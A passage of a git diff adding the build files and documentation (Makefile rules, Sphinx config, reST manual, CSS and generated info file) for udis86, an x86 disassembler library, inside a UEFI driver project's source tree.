install-data-am install-dvi install-dvi-am \ + install-exec install-exec-am install-html install-html-am \ + install-info install-info-am install-info-local install-man \ + install-pdf install-pdf-am install-ps install-ps-am \ + install-strip installcheck installcheck-am installdirs \ + maintainer-clean maintainer-clean-generic mostlyclean \ + mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \ + tags-am uninstall uninstall-am + + +@HAVE_SPHINX_DOC_TRUE@html-local: +@HAVE_SPHINX_DOC_TRUE@ $(SPHINX_BUILD) -c $(srcdir) -b html $(srcdir) $(builddir)/html + +@HAVE_SPHINX_DOC_TRUE@udis86.info: $(rst_sources) +@HAVE_SPHINX_DOC_TRUE@ $(SPHINX_BUILD) -E -c $(srcdir) -b texinfo $(srcdir) $(builddir)/texinfo +@HAVE_SPHINX_DOC_TRUE@ $(MAKEINFO) --no-split $(builddir)/texinfo/udis86.texi + +@HAVE_SPHINX_DOC_TRUE@check-local: html-local + +@HAVE_SPHINX_DOC_FALSE@udis86.info: $(rst_sources) +@HAVE_SPHINX_DOC_FALSE@html-local udis86.info: +@HAVE_SPHINX_DOC_FALSE@ @echo "" +@HAVE_SPHINX_DOC_FALSE@ @echo "------------------------------------------------------------------" +@HAVE_SPHINX_DOC_FALSE@ @echo "" +@HAVE_SPHINX_DOC_FALSE@ @echo " Please make sure you have Sphinx (sphinx-doc.org) version 1.1.3" +@HAVE_SPHINX_DOC_FALSE@ @echo " or above, to be able to build documentation." +@HAVE_SPHINX_DOC_FALSE@ @echo "" +@HAVE_SPHINX_DOC_FALSE@ @echo " You can also find documentation at http://udis86.sourceforge.net/" +@HAVE_SPHINX_DOC_FALSE@ @echo "" +@HAVE_SPHINX_DOC_FALSE@ @echo "------------------------------------------------------------------" +@HAVE_SPHINX_DOC_FALSE@ @echo "" +@HAVE_SPHINX_DOC_FALSE@ @exit 1 + +install-info-local: udis86.info + install-info --info-dir=$(infodir) $< + +clean-local: + -rm -rf $(builddir)/html + -rm -rf $(builddir)/texinfo $(builddir)/udis86.info + +# Tell versions [3.59,3.63) of GNU make to not export all variables. +# Otherwise a system limit (for SysV at least) may be exceeded. +.NOEXPORT: diff --git a/UefiDriver/udis86/docs/manual/conf.py b/UefiDriver/udis86/docs/manual/conf.py new file mode 100644 index 0000000..2871b4c --- /dev/null +++ b/UefiDriver/udis86/docs/manual/conf.py @@ -0,0 +1,36 @@ +# -*- coding: utf-8 -*- +import sys, os + +source_suffix = '.rst' +master_doc = 'index' +project = u'udis86' +copyright = u'2013, Vivek Thampi' +version = '1.7' +release = '1.7.1' + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. +exclude_patterns = ['_build'] + +pygments_style = 'sphinx' +html_theme = 'pyramid' +html_theme_options = { "nosidebar" : True } +html_static_path = ['static'] +html_style = "udis86.css" +htmlhelp_basename = 'udis86doc' + +latex_documents = [ + ('index', 'udis86.tex', u'udis86 Documentation', + u'Vivek Thampi', 'manual'), +] + +man_pages = [ + ('index', 'udis86', u'udis86 Documentation', + [u'Vivek Thampi'], 1) +] + +texinfo_documents = [ + ('index', 'udis86', u'udis86 Documentation', + u'Vivek Thampi', 'udis86', 'Disassembler library for x86.', + 'Miscellaneous', True), +] diff --git a/UefiDriver/udis86/docs/manual/getstarted.rst b/UefiDriver/udis86/docs/manual/getstarted.rst new file mode 100644 index 0000000..54b4c5e --- /dev/null +++ b/UefiDriver/udis86/docs/manual/getstarted.rst @@ -0,0 +1,57 @@ +Getting Started +=============== + + +Building and Installing udis86 +------------------------------ + +udis86 is developed for unix-like environments, and like most software, +the basic steps towards building and installing it are as follows. + +.. code:: + + $ ./configure + $ make + $ make install + +Depending on your choice of install location, you may need to have root +privileges to do an install. The install scripts copy the necessary header +and library files to appropriate locations in your system. + + +Interfacing with libudis86: A Quick Example +------------------------------------------- + +The following is an example of a program that interfaces with libudis86 +and uses the API to generate assembly language output for 64-bit code, +input from STDIN. + +.. code-block:: c + + #include + #include + + int main() + { + ud_t ud_obj; + + ud_init(&ud_obj); + ud_set_input_file(&ud_obj, stdin); + ud_set_mode(&ud_obj, 64); + ud_set_syntax(&ud_obj, UD_SYN_INTEL); + + while (ud_disassemble(&ud_obj)) { + printf("\t%s\n", ud_insn_asm(&ud_obj)); + } + + return 0; + } + +To compile the program (using gcc): + +.. code:: + + $ gcc -ludis86 example.c -o example + +This example should give you an idea of how this library can be used. The +following sections describe, in detail, the complete API of libudis86. diff --git a/UefiDriver/udis86/docs/manual/index.rst b/UefiDriver/udis86/docs/manual/index.rst new file mode 100644 index 0000000..1e5db0f --- /dev/null +++ b/UefiDriver/udis86/docs/manual/index.rst @@ -0,0 +1,27 @@ +.. udis86 documentation master file + +Welcome to udis86's documentation! +================================== + +Udis86 is a disassembler engine that decodes a stream of binary +machine code bytes as opcodes defined in the x86 and x86-64 class +of Instruction Set Archictures. The core component of this project +is libudis86 which provides a clean and simple interface to +disassemble binary code, and to inspect the disassembly to various +degrees of detail. The library is designed to aid software +projects that entail analysis and manipulation of all flavors of +x86 binary code. + + +.. toctree:: + :maxdepth: 3 + + getstarted + libudis86 + +Indices and tables +================== + +* :ref:`genindex` +* :ref:`search` + diff --git a/UefiDriver/udis86/docs/manual/libudis86.rst b/UefiDriver/udis86/docs/manual/libudis86.rst new file mode 100644 index 0000000..67e1085 --- /dev/null +++ b/UefiDriver/udis86/docs/manual/libudis86.rst @@ -0,0 +1,531 @@ +libudis86 +========= + +libudis86 is a disassembler library for the x86 architecture, including support +for the newer 64bit variants (IA32e, amd64, etc.) It provides you the ability +to decode a stream of bytes as x86 instructions, inspect various bits +of information about those instructions and even translate to human readable +assembly language format. + +.. default-domain:: c + +.. contents:: + + +ud_t: udis86 object +------------------- + +libudis86 is reentrant, and to maintain that property it does not use static +data. All data related to the disassembly are stored in a single object, called +the udis86 object :type:`ud_t`. + +.. c:type:: ud_t + + A structure encapsulating udis86 disassembler state. + +To use libudis86 you must create an instance of this object, + +.. code-block:: c + + ud_t ud_obj; + +and initialize it, + +.. code-block:: c + + ud_init(&ud_obj); + +You can create multiple such objects and use with the library, each one +an independent disassembler. + + +Setup Machine State +------------------- + +The decode semantics of a sequence of bytes depends on the target machine state +for which they are being disassembled. In x86, this means the current effective +processor mode (16, 32 or 64bits), the current program counter (ip/eip/rip), and +sometimes, the processor vendor. By default, libudis86 is initialized to be in +32 bit disassembly mode, program counter at 0, and vendor being :code:`UD_VENDOR_ANY`. +The following functions allow you to override these default to suit your needs. + +.. c:function:: void ud_set_mode(ud_t*, uint8_t mode_bits) + + Sets the mode of disassembly. Possible values are 16, 32, and 64. By + default, the library works in 32bit mode. + +.. c:function:: void ud_set_pc(ud_t*, uint64_t pc) + + Sets the program counter (IP/EIP/RIP). This changes the offset of the + assembly output generated, with direct effect on branch instructions. + +.. c:function:: void ud_set_vendor(ud_t*, unsigned vendor) + + Sets the vendor of whose instruction to choose from. This is only useful + for selecting the VMX or SVM instruction sets at which point INTEL and AMD + have diverged significantly. At a later stage, support for a more granular + selection of instruction sets maybe added. + + * :code:`UD_VENDOR_INTEL` - for INTEL instruction set. + * :code:`UD_VENDOR_ATT` - for AMD instruction set. + * :code:`UD_VENDOR_ANY` - for any valid instruction in either INTEL or AMD. + + +Setup Input +----------- + +libudis86 provides three ways in which you can input binary data: as a fixed +sized memory buffer, a standard library FILE object, or as a callback function. +By default, a :type:`ud_t` object is initialized to read input from :code:`STDIN`. + +.. c:function:: void ud_set_input_buffer(ud_t*, unsigned char* buffer, size_t size) + + Sets the input source for the library to a `buffer` of `size` bytes. + +.. c:function:: void ud_set_input_file(ud_t*, FILE* filep) + + Sets the input source to a file pointed to by a given standard library + :code:`FILE` pointer. Note that libudis86 does not perform any checks, + and assumes that the file pointer is properly initialized and open for + reading. + +.. c:function:: void ud_set_input_hook(ud_t* ud_obj, int (*hook)(ud_t *ud_obj)) + + Sets a pointer to a function, to callback for input. The callback is invoked + each time libudis86 needs the next byte in the input stream. To single + end-of-input, this callback must return the constant :code:`UD_EOI`. + + .. seealso:: :func:`ud_set_user_opaque_data`, :func:`ud_set_user_opaque_data` + +.. c:function:: void ud_input_skip(ud_t*, size_t n); + + Skips ahead `n` number of bytes in the input stream. + + +.. c:function:: int ud_input_end(const ud_t*); + + Test for end of input. You can use this function to test if udis86 + has exhausted the input. + +At the end of input, udis86 stops disassembly. If you want to restart or +reset the source of input, you must again invoke one of the above functions. + +Sometimes you may want to associate custom data with a udis86 object, that you +can use with the input callback function, or even in different parts of your +own project as you pass the object around. You can use the following two +functions to achieve this. + +.. c:function:: void ud_set_user_opaque_data(ud_t* ud_obj, void* opaque) + + Associates a pointer with the udis86 object to be retrieved and used in + client functions, such as the input hook callback function. + +.. c:function:: void* ud_get_user_opaque_data(const ud_t* ud_obj) + + Returns any pointer associated with the udis86 object, using the + :func:`ud_set_user_opaque_data` function. + + +Setup Translation +----------------- + +libudis86 can translate the decoded instruction into one of two assembly +language dialects: the INTEL syntax (such as those found in NASM and YASM) and +the other which resembles GNU Assembler (AT&T style) syntax. By default, this +is set to INTEL like syntax. You can override the default or specify your own +translator using the following function. + +.. c:function:: void ud_set_syntax(ud_t*, void (*translator)(ud_t*)) + + Sets the function that translates the intermediate decode information to + a human readable form. There are two inbuilt translators, + + - :code:`UD_SYN_INTEL` for INTEL (NASM-like) syntax. (default) + - :code:`UD_SYN_ATT` for AT&T (GAS-like) syntax. + + If you do not want libudis86 to translate, you can pass :code:`NULL` to the + function, with no more translations thereafter. This is useful when you + only want to identify chunks of code and then create the assembly output if + needed, or when you are only interested in examining the instructions and + do not want to waste cycles generating the assembly language output. + + If you want to create your own translator, you can specify a pointer to your + own function. This function must accept a single parameter, the udis86 object + :type:`ud_t`, and it will be invoked everytime an instruction is decoded. + + +Disassemble +----------- + +With target state and input source set up, you can now disassemble. At the core +of libudis86 api is the function :c:func:`ud_disassemble` which does this. +libudis86 exposes decoded instructions in an intermediate form meant to be +useful for programs that want to examine them. This intermediate form is +available using functions and fields of :type:`ud_t` as described below. + + +.. c:function:: unsigned int ud_disassemble(ud_t*) + + Disassembles the next instruction in the input stream. + + :returns: the number of bytes disassembled. A 0 indicates end of input. + + Note, to restart disassembly after the end of input, you must call one of + the input setting functions with a new source of input. + + A common use-case pattern for this function is in a loop:: + + while (ud_disassemble(&ud_obj)) { + /* + * use or print decode info. + */ + } + +For each successful invocation of :c:func:`ud_disassemble`, you can use the +following functions to get information about the disassembled instruction. + + +.. c:function:: unsigned int ud_insn_len(const ud_t* u) + + Returns the number of bytes disassembled. + +.. c:function:: uint64_t ud_insn_off(const ud_t*) + + Returns the offset of the disassembled instruction in terms of the + program counter value specified initially. + + .. seealso:: :func:`ud_set_pc` + +.. c:function:: const char* ud_insn_hex(ud_t*) + + Returns pointer to a character string holding the hexadecimal + representation of the disassembled bytes. + +.. c:function:: const uint8_t* ud_insn_ptr(const ud_t* u) + + Returns pointer to the buffer holding the instruction bytes. Use + :func:`ud_insn_len` to determine the size of this buffer. + +.. c:function:: const char* ud_insn_asm(const ud_t* u) + + If the syntax is specified, returns pointer to the character string holding + assembly language representation of the disassembled instruction. + +.. c:function:: const ud_operand_t* ud_insn_opr(const ud_t* u, unsigned int n) + + Returns a reference (:type:`ud_operand_t`) to the nth (starting with 0) + operand of the instruction. If the instruction does not have such an + operand, the function returns :code:`NULL`. + +.. c:function:: enum ud_mnemonic_code ud_insn_mnemonic(const ud_t *u) + + .. versionadded:: 1.7.2 + + Returns the instruction mnemonic in the form of an enumerated constant + (:code:`enum ud_mnemonic_code`). As a convention all mnemonic constants + are composed by prefixing standard instruction mnemonics with :code:`UD_I`. + For example, the enumerations for :code:`mov`, :code:`xor` and :code:`jmp` + are :code:`UD_Imov`, :code:`UD_Ixor`, and :code:`UD_Ijmp`, respectively.:: + + ud_disassemble(&ud_obj); + + switch (ud_insn_mnemonic(ud_obj)) { + case UD_Imov: printf("mov!"); break; + case UD_Ixor: printf("xor!"); break; + case UD_Ijmp: printf("jmp!"); break; + /*...*/ + } + + Prior to version 1.7.2, the way to access the mnemonic was by a field of + :code:`ud_t`, :c:member:`ud_t.mnemonc`. This field is now deprecated and + may not be supported in the future. + + .. seealso:: :func:`ud_lookup_mnemonic` + +.. c:function:: const char* ud_const lookup_mnemonic(enum ud_mnemonic_code) + + Returns a pointer to a character string corresponding to the given + mnemonic code. Returns a :code:`NULL` if the code is invalid. + +Inspect Operands +---------------- + +An intermediate representation of instruction operands is available in the +form of :type:`ud_operand_t`. You can retrieve the nth operand of a +disassembled instruction using the function :func:`ud_insn_opr`. + +.. c:type:: ud_operand_t + + The operand type, represents a single operand of an instruction. It + contains the following fields. + + - :c:member:`size ` + - :c:member:`type ` + - :c:member:`base ` + - :c:member:`index ` + - :c:member:`scale ` + - :c:member:`offset ` + - :c:member:`lval ` + +.. c:member:: unsigned ud_operand_t.size + + Size of the operand in number of bits. + +.. c:member:: enum ud_operand_type ud_operand_t.type + + Type of the operand. Possible values are, + + .. c:var:: UD_OP_MEM + + A memory operand. The intermediate form normalizes all memory address + equations to the scale-index-base form. The address equation is + available in, + + - :member:`base ` - base register as an enumerated + constant of type :type:`enum ud_type`. Maybe :code:`UD_NONE`, in which + case the memory addressing form does not include a base register. + - :member:`index ` - index register as an enumerated + constant of type :type:`enum ud_type`. Maybe :code:`UD_NONE`, in which + case the memory addressing form does not include an index register. + - :member:`scale ` - an integer value by which + the index register must be scaled. Maybe 0, denoting the absence of + a scale component in the address. + - :member:`offset ` - An integer value, which if + non-zero represents the size of the displacement offset, and is one + of 8, 16, 32, and 64. The value is available in + :member:`lval `. + + .. c:var:: UD_OP_PTR + + A segment:offset pointer operand. The :member:`size ` + field can have two values, 32 (for 16:16 seg:off) and 48 (for 16:32 seg:off). + The pointer value is available in :member:`lval ` + (as :member:`lval.ptr.seg` and :member:`lval.ptr.off`) + + .. c:var:: UD_OP_IMM + + An Immediate operand. Value available in :member:`lval `. + + .. c:var:: UD_OP_JIMM + + An Immediate operand to a branch instruction (relative offsets). Value + available in :member:`lval `. + + .. c:var:: UD_OP_CONST + + Implicit constant operand. Value available in :member:`lval `. + + .. c:var:: UD_OP_REG + + A register operand. The specific register is available in the + :member:`base ` field as an enumerated constant of type + :type:`enum ud_type`. + + +.. c:member:: enum ud_register ud_operand_t.base + + Contains an enumerated constant of type :type:`enum ud_type` representing + a :data:`register ` operand or the base of a :data:`memory ` + operand. + +.. c:member:: enum ud_register ud_operand_t.index + + Contains an enumerated constant of type :type:`enum ud_type` representing + the index register of a :data:`memory ` operand. + +.. c:member:: unsigned ud_operand_t.scale + + Contains the scale component of a :data:`memory ` address operand. + +.. c:member:: unsigned ud_operand_t.offset + + Contains the size of the displacement component of a :data:`memory + ` address operand. The displacement itself is given by + :member:`lval `. + +.. c:member:: ud_lval_t ud_operand_t.lval + + A union data structure that aggregates integer fields of different sizes, + storing values depending on the :member:`type ` and + :member:`size ` of the operand. + + .. c:member:: lval.sbyte + + Signed Byte + + .. c:member:: lval.ubyte + + Unsigned Byte + + .. c:member:: lval.sword + + Signed Word + + .. c:member:: lval.uword + + Unsigned Word + + .. c:member:: lval.sdword + + Signed Double Word + + .. c:member:: lval.udword + + Unsigned Double Word + + .. c:member:: lval.sqword + + Signed Quad Word + + .. c:member:: lval.uqword + + Unsigned Quad Word + + .. c:member:: lval.ptr.seg + + Pointer Segment in Segment:Offset + + .. c:member:: lval.ptr.off + + Pointer Offset in Segment:Offset + +.. c:type:: enum ud_type + + Instruction Pointer + + .. code-block:: c + + UD_R_RIP + + 8-Bit Registers + + .. code-block:: c + + UD_NONE, + + UD_R_AL, UD_R_CL, UD_R_DL, UD_R_BL, + UD_R_AH, UD_R_CH, UD_R_DH, UD_R_BH, + UD_R_SPL, UD_R_BPL, UD_R_SIL, UD_R_DIL, + UD_R_R8B, UD_R_R9B, UD_R_R10B, UD_R_R11B, + UD_R_R12B, UD_R_R13B, UD_R_R14B, UD_R_R15B, + + 16-Bit General Purporse Registers + + .. code-block:: c + + UD_R_AX, UD_R_CX, UD_R_DX, UD_R_BX, + UD_R_SP, UD_R_BP, UD_R_SI, UD_R_DI, + UD_R_R8W, UD_R_R9W, UD_R_R10W, UD_R_R11W, + UD_R_R12W, UD_R_R13W, UD_R_R14W, UD_R_R15W, + + 32-Bit General Purporse Registers: + + .. code-block:: c + + UD_R_EAX, UD_R_ECX, UD_R_EDX, UD_R_EBX, + UD_R_ESP, UD_R_EBP, UD_R_ESI, UD_R_EDI, + UD_R_R8D, UD_R_R9D, UD_R_R10D, UD_R_R11D, + UD_R_R12D, UD_R_R13D, UD_R_R14D, UD_R_R15D, + + 64-Bit General Purporse Registers: + + .. code-block:: c + + UD_R_RAX, UD_R_RCX, UD_R_RDX, UD_R_RBX, + UD_R_RSP, UD_R_RBP, UD_R_RSI, UD_R_RDI, + UD_R_R8, UD_R_R9, UD_R_R10, UD_R_R11, + UD_R_R12, UD_R_R13, UD_R_R14, UD_R_R15, + + Segment Registers: + + .. code-block:: c + + UD_R_ES, UD_R_CS, UD_R_SS, UD_R_DS, + UD_R_FS, UD_R_GS, + + Control Registers: + + .. code-block:: c + + UD_R_CR0, UD_R_CR1, UD_R_CR2, UD_R_CR3, + UD_R_CR4, UD_R_CR5, UD_R_CR6, UD_R_CR7, + UD_R_CR8, UD_R_CR9, UD_R_CR10, UD_R_CR11, + UD_R_CR12, UD_R_CR13, UD_R_CR14, UD_R_CR15, + + Debug Registers: + + .. code-block:: c + + UD_R_DR0, UD_R_DR1, UD_R_DR2, UD_R_DR3, + UD_R_DR4, UD_R_DR5, UD_R_DR6, UD_R_DR7, + UD_R_DR8, UD_R_DR9, UD_R_DR10, UD_R_DR11, + UD_R_DR12, UD_R_DR13, UD_R_DR14, UD_R_DR15, + + MMX Registers: + + .. code-block:: c + + UD_R_MM0, UD_R_MM1, UD_R_MM2, UD_R_MM3, + UD_R_MM4, UD_R_MM5, UD_R_MM6, UD_R_MM7, + + FPU Registers: + + .. code-block:: c + + UD_R_ST0, UD_R_ST1, UD_R_ST2, UD_R_ST3, + UD_R_ST4, UD_R_ST5, UD_R_ST6, UD_R_ST7, + + SSE Registers: + + .. code-block:: c + + UD_R_XMM0, UD_R_XMM1, UD_R_XMM2, UD_R_XMM3, + UD_R_XMM4, UD_R_XMM5, UD_R_XMM6, UD_R_XMM7, + UD_R_XMM8, UD_R_XMM9, UD_R_XMM10, UD_R_XMM11, + UD_R_XMM12, UD_R_XMM13, UD_R_XMM14, UD_R_XMM15, + + +Inspect Prefixes +---------------- + +Prefix bytes that affect the disassembly of the instruction are availabe in the +following fields, each of which corressponds to a particular type or class of +prefixes. + +.. c:member:: uint8_t ud_t.pfx_rex + + 64-bit mode REX prefix + +.. c:member:: uint8_t ud_t.pfx_rex + + 64-bit mode REX prefix + +.. c:member:: uint8_t ud_t.pfx_seg + + Segment register prefix + +.. c:member:: uint8_t ud_t.pfx_opr + + Operand-size prefix (66h) + +.. c:member:: uint8_t ud_t.pfx_adr + + Address-size prefix (67h) + +.. c:member:: uint8_t ud_t.pfx_lock + + Lock prefix + +.. c:member:: uint8_t ud_t.pfx_rep + + Rep prefix + +.. c:member:: uint8_t ud_t.pfx_repe + + Repe prefix + +.. c:member:: uint8_t ud_t.pfx_repne + + Repne prefix + +These fields default to :code:`UD_NONE` if the respective prefixes were not found. diff --git a/UefiDriver/udis86/docs/manual/static/udis86.css b/UefiDriver/udis86/docs/manual/static/udis86.css new file mode 100644 index 0000000..d0dc128 --- /dev/null +++ b/UefiDriver/udis86/docs/manual/static/udis86.css @@ -0,0 +1,115 @@ +/* override pyramid */ + +@import url("pyramid.css"); + +body { + background-color: #eee; + background-color: #e8ecef; +} + +pre { + background-color: #e8ecef; + border: 1px solid #bbb; + border-radius: 5px; + -moz-border-radius: 5px; +} + +div.body { + border: 1px solid #bbb; + border-radius: 5px; + -moz-border-radius: 5px; + color: black; +} + +div.related, +div.document { + width: 840px; + margin-left: auto; + margin-right: auto; +} + +div.related ul { + padding-left: 8px; +} + +div.footer a, +div.footer { + color: #000; + font-weight: bold; +} + +div.footer { + margin-top: 40px; + background-color: #ddd; +} + +/* +div.body { + margin-left: auto; + margin-right: auto; + width: 720px; +}*/ + +body, +div.body, +div.body h1, +div.body h2, +div.body h3, +div.body h4, +div.body h5, +div.body h6 { + font-family: Arial, "Helvetica Neue", Arial, Helvetica, "sans-serif"; +} + +div.body h1, +div.body h2, +div.body h3, +div.body h4, +div.body h5, +div.body h6 { + font-weight: bold; +} + +code, +.function dt, +.member dt, +.type dt, +.var dt, +.function tt.descname, +.member tt.descname, +.var tt.descname, +.type tt.descname, +pre { + font-family: 'Consolas', 'Deja Vu Sans Mono', 'Bitstream Vera Sans Mono', monospace; + font-size: 1em; + padding-bottom: 6px; +} + +.function dt +{ + font-size: 1em; + padding-bottom: 6px; +} + +.function tt.descname { + font-size: 1em; +} + +a .pre, +div.related a, +a { + text-decoration: none; + color: #444; + border-bottom: 1px solid #eee; +} + +a .pre { + font-weight: bold; +} + +a:hover .pre, +a:hover, div.toctree-wrapper a:hover, .indextable a:hover, #indices-and-tables a:hover { + text-decoration: none; + color: #111; + border-bottom: 1px solid #111; +} diff --git a/UefiDriver/udis86/docs/manual/udis86.info b/UefiDriver/udis86/docs/manual/udis86.info new file mode 100644 index 0000000..205c78f --- /dev/null +++ b/UefiDriver/udis86/docs/manual/udis86.info @@ -0,0 +1,848 @@ +This is udis86.info, produced by makeinfo version 4.8 from +./texinfo/udis86.texi. + +Generated by Sphinx 1.1.3. +INFO-DIR-SECTION Miscellaneous +START-INFO-DIR-ENTRY +* udis86: (udis86.info). Disassembler library for x86. +END-INFO-DIR-ENTRY + + udis86 1.7.1, September 01, 2013 + + Vivek Thampi + + Copyright (C) 2013, Vivek Thampi + + +File: udis86.info, Node: Top, Next: Getting Started, Up: (dir) + +udis86 Documentation +******************** + + udis86 1.7.1, September 01, 2013 + + Vivek Thampi + + Copyright (C) 2013, Vivek Thampi + +* Menu: + +* Getting Started:: +* libudis86:: +* Index:: + + --- The Detailed Node Listing --- + +Getting Started + +* Building and Installing udis86:: +* Interfacing with libudis86; A Quick Example: Interfacing with libudis86 A Quick Example. + +libudis86 + +* ud_t; udis86 object: ud_t udis86 object. +* Setup Machine State:: +* Setup Input:: +* Setup Translation:: +* Disassemble:: +* Inspect Operands:: +* Inspect Prefixes:: + + +File: udis86.info, Node: Getting Started, Next: libudis86, Prev: Top, Up: Top + +1 Getting Started +***************** + +* Menu: + +* Building and Installing udis86:: +* Interfacing with libudis86; A Quick Example: Interfacing with libudis86 A Quick Example. + + +File: udis86.info, Node: Building and Installing udis86, Next: Interfacing with libudis86 A Quick Example, Up: Getting Started + +1.1 Building and Installing udis86 +================================== + +udis86 is developed for unix-like environments, and like most software, +the basic steps towards building and installing it are as follows. + + $ ./configure + $ make + $ make install + +Depending on your choice of install location, you may need to have root +privileges to do an install. The install scripts copy the necessary +header and library files to appropriate locations in your system. + + +File: udis86.info, Node: Interfacing with libudis86 A Quick Example, Prev: Building and Installing udis86, Up: Getting Started + +1.2 Interfacing with libudis86: A Quick Example +=============================================== + +The following is an example of a program that interfaces with libudis86 +and uses the API to generate assembly language output for 64-bit code, +input from STDIN. + + #include + #include + + int main() + { + ud_t ud_obj; + + ud_init(&ud_obj); + ud_set_input_file(&ud_obj, stdin); + ud_set_mode(&ud_obj, 64); + ud_set_syntax(&ud_obj, UD_SYN_INTEL); + + while (ud_disassemble(&ud_obj)) { + printf("\t%s\n", ud_insn_asm(&ud_obj)); + } + + return 0; + } + +To compile the program (using gcc): + + $ gcc -ludis86 example.c -o example + +This example should give you an idea of how this library can be used. +The following sections describe, in detail, the complete API of +libudis86. + + +File: udis86.info, Node: libudis86, Next: Index, Prev: Getting Started, Up: Top + +2 libudis86 +*********** + +libudis86 is a disassembler library for the x86 architecture, including +support for the newer 64bit variants (IA32e, amd64, etc.) It provides +you the ability to decode a stream of bytes as x86 instructions, +inspect various bits of information about those instructions and even +translate to human readable assembly language format. + +* Menu: + +* ud_t; udis86 object: ud_t udis86 object. +* Setup Machine State:: +* Setup Input:: +* Setup Translation:: +* Disassemble:: +* Inspect Operands:: +* Inspect Prefixes:: + + +File: udis86.info, Node: ud_t udis86 object, Next: Setup Machine State, Up: libudis86 + +2.1 ud_t: udis86 object +======================= + +libudis86 is reentrant, and to maintain that property it does not use +static data. All data related to the disassembly are stored in a single +object, called the udis86 object *note ud_t: 8. + + -- C Type: ud_t + A structure encapsulating udis86 disassembler state. + + To use libudis86 you must create an instance of this object, + + ud_t ud_obj; + +and initialize it, + + ud_init(&ud_obj); + +You can create multiple such objects and use with the library, each one +an independent disassembler. + + +File: udis86.info, Node: Setup Machine State, Next: Setup Input, Prev: ud_t udis86 object, Up: libudis86 + +2.2 Setup Machine State +======================= + +The decode semantics of a sequence of bytes depends on the target +machine state for which they are being disassembled. In x86, this means +the current effective processor mode (16, 32 or 64bits), the current +program counter (ip/eip/rip), and sometimes, the processor vendor. By +default, libudis86 is initialized to be in 32 bit disassembly mode, +program counter at 0, and vendor being `UD_VENDOR_ANY'. The following +functions allow you to override these default to suit your needs. + + -- C Function: void ud_set_mode (ud_t*, uint8_t mode_bits) + Sets the mode of disassembly. Possible values are 16, 32, and 64. + By default, the library works in 32bit mode. + + -- C Function: void ud_set_pc (ud_t*, uint64_t pc) + Sets the program counter (IP/EIP/RIP). This changes the offset of + the assembly output generated, with direct effect on branch + instructions. + + -- C Function: void ud_set_vendor (ud_t*, unsigned vendor) + Sets the vendor of whose instruction to choose from. This is only + useful for selecting the VMX or SVM instruction sets at which + point INTEL and AMD have diverged significantly. At a later stage, + support for a more granular selection of instruction sets maybe + added. + + * `UD_VENDOR_INTEL' - for INTEL instruction set. + + * `UD_VENDOR_ATT' - for AMD instruction set. + + * `UD_VENDOR_ANY' - for any valid instruction in either INTEL + or AMD. + + +File: udis86.info, Node: Setup Input, Next: Setup Translation, Prev: Setup Machine State, Up: libudis86 + +2.3 Setup Input +=============== + +libudis86 provides three ways in which you can input binary data: as a +fixed sized memory buffer, a standard library FILE object, or as a +callback function. By default, a *note ud_t: 8. object is initialized +to read input from `STDIN'. + + -- C Function: void ud_set_input_buffer (ud_t*, unsigned char* buffer, + size_t size) + Sets the input source for the library to a `buffer' of `size' + bytes. + + -- C Function: void ud_set_input_file (ud_t*, FILE* filep) + Sets the input source to a file pointed to by a given standard + library `FILE' pointer. Note that libudis86 does not perform any + checks, and assumes that the file pointer is properly initialized + and open for reading. + + -- C Function: void ud_set_input_hook (ud_t* ud_obj, int + (*hook)(ud_t *ud_obj)) + Sets a pointer to a function, to callback for input. The callback + is invoked each time libudis86 needs the next byte in the input + stream. To single end-of-input, this callback must return the + constant `UD_EOI'. + +See also +........ + + *note ud_set_user_opaque_data(): 11, *note +ud_set_user_opaque_data(): 11. + + -- C Function: void ud_input_skip(ud_t*, size_t n); + Skips ahead `n' number of bytes in the input stream. + + -- C Function: int ud_input_end(const ud_t*); + Test for end of input. You can use this function to test if udis86 + has exhausted the input. + + At the end of input, udis86 stops disassembly. If you want to restart +or reset the source of input, you must again invoke one of the above +functions. + + Sometimes you may want to associate custom data with a udis86 object, +that you can use with the input callback function, or even in different +parts of your own project as you pass the object around. You can use +the following two functions to achieve this. + + -- C Function: void ud_set_user_opaque_data (ud_t* ud_obj, + void* opaque) + Associates a pointer with the udis86 object to be retrieved and + used in client functions, such as the input hook callback function. + + -- C Function: void* ud_get_user_opaque_data (const ud_t* ud_obj) + Returns any pointer associated with the udis86 object, using the + *note ud_set_user_opaque_data(): 11. function. + + +File: udis86.info, Node: Setup Translation, Next: Disassemble, Prev: Setup Input, Up: libudis86 + +2.4 Setup Translation +===================== + +libudis86 can translate the decoded instruction into one of two assembly +language dialects: the INTEL syntax (such as those found in NASM and +YASM) and the other which resembles GNU Assembler (AT&T style) syntax. +By default, this is set to INTEL like syntax. You can override the +default or specify your own translator using the following function. + + -- C Function: void ud_set_syntax (ud_t*, void (*translator)(ud_t*)) + Sets the function that translates the intermediate decode + information to a human readable form. There are two inbuilt + translators, + + - `UD_SYN_INTEL' for INTEL (NASM-like) syntax. (default) + + - `UD_SYN_ATT' for AT&T (GAS-like) syntax. + + If you do not want libudis86 to translate, you can pass `NULL' to + the function, with no more translations thereafter. This is useful + when you only want to identify chunks of code and then create the + assembly output if needed, or when you are only interested in + examining the instructions and do not want to waste cycles + generating the assembly language output. + + If you want to create your own translator, you can specify a + pointer to your own function. This function must accept a single + parameter, the udis86 object *note ud_t: 8, and it will be invoked + everytime an instruction is decoded. + + +File: udis86.info, Node: Disassemble, Next: Inspect Operands, Prev: Setup Translation, Up: libudis86 + +2.5 Disassemble +=============== + +With target state and input source set up, you can now disassemble. At +the core of libudis86 api is the function *note ud_disassemble(): 16. +which does this. libudis86 exposes decoded instructions in an +intermediate form meant to be useful for programs that want to examine +them. This intermediate form is available using functions and fields of +*note ud_t: 8. as described below. + + -- C Function: unsigned int ud_disassemble (ud_t*) + Disassembles the next instruction in the input stream. + + Returns: the number of bytes disassembled. A 0 indicates end + of input. + + Note, to restart disassembly after the end of input, you must call + one of the input setting functions with a new source of input. + + A common use-case pattern for this function is in a loop: + + while (ud_disassemble(&ud_obj)) { + /* + * use or print decode info. + */ + } + + + + For each successful invocation of *note ud_disassemble(): 16, you can +use the following functions to get information about the disassembled +instruction. + + -- C Function: unsigned int ud_insn_len (const ud_t* u) + Returns the number of bytes disassembled. + + -- C Function: uint64_t ud_insn_off (const ud_t*) + Returns the offset of the disassembled instruction in terms of the + program counter value specified initially. + +See also +........ + + *note ud_set_pc(): b. + + -- C Function: const char* ud_insn_hex (ud_t*) + Returns pointer to a character string holding the hexadecimal + representation of the disassembled bytes. + + -- C Function: const uint8_t* 